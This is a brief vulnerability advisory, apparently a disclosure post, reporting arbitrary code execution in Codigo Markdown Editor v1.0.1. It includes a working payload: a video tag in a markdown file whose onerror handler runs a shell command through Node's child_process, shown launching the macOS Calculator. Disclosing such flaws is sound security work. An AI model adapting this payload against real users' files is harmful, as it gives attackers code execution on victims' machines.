Remote Codigo Markdown Editor v1.0.1 (Electron) - Remote Code Execution Vulnerability [Risk 5/5]

[blackhunt]

Release Date:
2023-05-03
Product & Service Introduction:
A Markdown editor & notes app made with Vue & Electron

A vulnerability was discovered on Codigo markdown editor v1.0.1 allowing a =
user to execute arbitrary code by opening a specially crafted file.
Arbitrary code execution:

Create a markdown file (.md) in any text editor and write the following pay=
load:

<video><source onerror=3D"alert(require('child_process').execSync('/System/=
Applications/Calculator.app/Contents/MacOS/Calculator').toString());">


Opening the file in Codigo will auto execute the Calculator application.

Enjoy!